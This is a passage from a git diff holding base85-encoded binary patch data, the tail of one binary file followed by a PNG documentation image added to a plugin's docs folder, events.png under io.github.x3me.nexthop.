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 Kq+O}y82uk+>K6_G literal 0 HcmV?d00001 diff --git a/plugins/io.github.x3me.nexthop/docs/events.png b/plugins/io.github.x3me.nexthop/docs/events.png new file mode 100644 index 0000000000000000000000000000000000000000..e5fb39781da51caeb79a5192c55b7c8d9247d5f0 GIT binary patch literal 179654 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 